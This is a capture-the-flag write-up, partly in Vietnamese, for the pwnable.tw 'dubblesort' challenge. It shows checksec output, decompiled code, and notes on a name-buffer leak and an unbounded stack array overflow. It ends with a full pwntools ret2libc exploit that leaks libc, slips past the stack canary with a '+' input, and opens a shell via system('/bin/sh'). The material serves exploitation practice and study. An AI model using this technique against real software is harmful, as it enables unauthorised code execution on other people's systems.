dubblesort
file
➜ dubblesort ⚡ 22:00:27
▶ file dubblesort
dubblesort: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=12a217baf7cbdf2bb5c344ff14adcf7703672fb1, stripped
➜ dubblesort ⚡ 22:02:41
▶ checksec dubblesort
[*] '/mnt/d/pwn_myself/pwnable_tw/dubblesort/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
source
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_BYTE *v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
_BYTE v9[32]; // [esp+1Ch] [ebp-70h] BYREF
char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]
v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}
unsigned int __cdecl sub_931(unsigned int *a1, int a2)
{
int v2; // ecx
int i; // edi
unsigned int v4; // edx
unsigned int v5; // esi
unsigned int *v6; // eax
unsigned int result; // eax
unsigned int v8; // [esp+1Ch] [ebp-20h]
v8 = __readgsdword(0x14u);
puts("Processing......");
sleep(1u);
if ( a2 != 1 )
{
v2 = a2 - 2;
for ( i = (int)&a1[a2 - 1]; ; i -= 4 )
{
if ( v2 != -1 )
{
v6 = a1;
do
{
v4 = *v6;
v5 = v6[1];
if ( *v6 > v5 )
{
*v6 = v5;
v6[1] = v4;
}
++v6;
}
while ( (unsigned int *)i != v6 );
if ( !v2 )
break;
}
--v2;
}
}
result = __readgsdword(0x14u) ^ v8;
if ( result )
sub_BA0();
return result;
}
analysis
- bug ở read, có thể read, tuy nhiên print_chk chống overflow => chỉ có thể print đủ 64 bytes
- bug ở việc chỉ khai báo mảng nhập vô 8 phần tử (32/4) nhưng vẹo nào không filter, nên có thể ghi đè lên stack => ghi đc lên ret
- nên nhớ đang phân tích file 64 hay 32-bit để cân nhắc việc leak cho thỏa đáng bởi 32bit thì không cần đưa tham số lên các thanh ghi nên trong bài này không cần leak pie, k cần pop_rdi, chỉ cần leak libc base là xong
exploit
chả hiểu sau mình không exploit trên remote được mặc dù đúng thư viện và mọi thứ okela với local :((
Cơ mà mình thử các wu của ng khác vẫn ik thể nên maybe lỗi từ remote
À đừng quên pwninit các thứ để có được dubblesort_patched, xem lại bài này
from pwn import *
binary = ELF("./dubblesort_patched")
libc = ELF("./libc_32.so.6")
context.binary = binary
def conn():
if args.REMOTE:
r = remote("chall.pwnable.tw", 10101)
else:
r = process([binary.path])
#if args.DEBUG:
#gdb.attach(r, api=True)
return r
def main():
r = conn()
payload = "a"*24
r.sendlineafter("What your name :" ,payload)
# log.info("Debugging...")
# sleep(10)
r.recvuntil("a"*24)
leak = u32(r.recv(4))
log.info("Recv: " + hex(leak))
libcbase = leak - 0x1b0000 - 0xa
log.info("Libc base addr: " + hex(libcbase))
system_offset = libc.symbols[b'system']
binsh_offset = next(libc.search(b'/bin/sh\x00'))
system_addr = libcbase + system_offset
binsh_addr = libcbase + binsh_offset
log.info("System offset: " + str(system_addr))
log.info("/bin/sh base offset: " + str(binsh_addr))
r.sendlineafter("sort :" , "35")
for i in range(24):
r.sendlineafter("number : " ,'1')
r.sendlineafter("number : " ,'+') #canary
for i in range(9):
r.sendlineafter("number : " ,str(system_addr))
for i in range(1):
r.sendlineafter("number : " ,str(binsh_addr))
#print(r.recv())
#r.sendline("ls; cat flag.txt")
r.interactive()
if __name__ == "__main__":
main()